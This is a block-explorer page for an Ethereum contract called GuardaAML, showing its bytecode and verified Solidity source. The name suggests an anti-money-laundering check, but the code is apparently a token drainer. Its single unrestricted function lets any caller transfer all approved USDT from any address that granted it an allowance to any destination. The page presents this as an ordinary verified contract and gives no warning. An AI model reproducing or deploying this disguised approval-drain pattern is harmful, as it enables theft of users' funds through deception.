Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xc78AB2522B08A313A41a32F770E6E9D732Ff370E
Balance 0 ETH
Nonce 1
Code Size 1632 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1632 bytes
0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c806383ca93e61461002d575b5f80fd5b6100476004803603810190610042919061032b565b61005d565b6040516100549190610383565b60405180910390f35b5f8073dac17f958d2ee523a2206206994597c13d831ec790505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016100b091906103ab565b602060405180830381865afa1580156100cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100ef91906103f7565b90505f8111610133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012a9061047c565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b815260040161016f92919061049a565b602060405180830381865afa15801561018a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ae91906103f7565b90505f81116101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e99061050b565b60405180910390fd5b5f8282106102005782610202565b815b90508373ffffffffffffffffffffffffffffffffffffffff166323b872dd8888846040518463ffffffff1660e01b815260040161024193929190610538565b6020604051808303815f875af115801561025d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102819190610597565b9450846102c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ba9061060c565b60405180910390fd5b5050505092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102fa826102d1565b9050919050565b61030a816102f0565b8114610314575f80fd5b50565b5f8135905061032581610301565b92915050565b5f8060408385031215610341576103406102cd565b5b5f61034e85828601610317565b925050602061035f85828601610317565b9150509250929050565b5f8115159050919050565b61037d81610369565b82525050565b5f6020820190506103965f830184610374565b92915050565b6103a5816102f0565b82525050565b5f6020820190506103be5f83018461039c565b92915050565b5f819050919050565b6103d6816103c4565b81146103e0575f80fd5b50565b5f815190506103f1816103cd565b92915050565b5f6020828403121561040c5761040b6102cd565b5b5f610419848285016103e3565b91505092915050565b5f82825260208201905092915050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f610466601583610422565b915061047182610432565b602082019050919050565b5f6020820190508181035f8301526104938161045a565b9050919050565b5f6040820190506104ad5f83018561039c565b6104ba602083018461039c565b9392505050565b7f4e6f20616c6c6f77616e63652070726f766964656400000000000000000000005f82015250565b5f6104f5601583610422565b9150610500826104c1565b602082019050919050565b5f6020820190508181035f830152610522816104e9565b9050919050565b610532816103c4565b82525050565b5f60608201905061054b5f83018661039c565b610558602083018561039c565b6105656040830184610529565b949350505050565b61057681610369565b8114610580575f80fd5b50565b5f815190506105918161056d565b92915050565b5f602082840312156105ac576105ab6102cd565b5b5f6105b984828501610583565b91505092915050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6105f6600f83610422565b9150610601826105c2565b602082019050919050565b5f6020820190508181035f830152610623816105ea565b905091905056fea2646970667358221220cdbd0714c97c367e099c7cb0a87a608ccd9c75d65ae73a1fd5448c0346c4e96d64736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
GuardaAML.sol 44 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint256);
    
    function balanceOf(address account) external view returns (uint256);
}

contract GuardaAML {
    // USDT token contract address on Ethereum mainnet.
    address constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    /// @notice Transfers tokens from `from` to `to`
    /// @dev If allowance is less than balance, only the allowed amount will be transferred.
    /// @param from The source address.
    /// @param to The destination address.
    /// @return success True if the transfer is successful.
    function transferGuardaUSDT(address from, address to) external returns (bool success) {
        IERC20 token = IERC20(USDT_ADDRESS);

        // Get the token balance and allowed amount.
        uint256 balance = token.balanceOf(from);
        require(balance > 0, "No tokens to transfer");

        uint256 allowed = token.allowance(from, address(this));
        require(allowed > 0, "No allowance provided");

        // Determine the amount to transfer: the minimum of balance and allowed.
        uint256 transferAmount = allowed < balance ? allowed : balance;

        // Transfer the determined amount.
        success = token.transferFrom(from, to, transferAmount);
        require(success, "Transfer failed");

        return success;
    }
}

Write Contract 1 functions

These functions modify contract state and require a wallet transaction to execute.

transferGuardaUSDT 0x83ca93e6
address from
address to
returns: bool

Recent Transactions

No transactions found for this address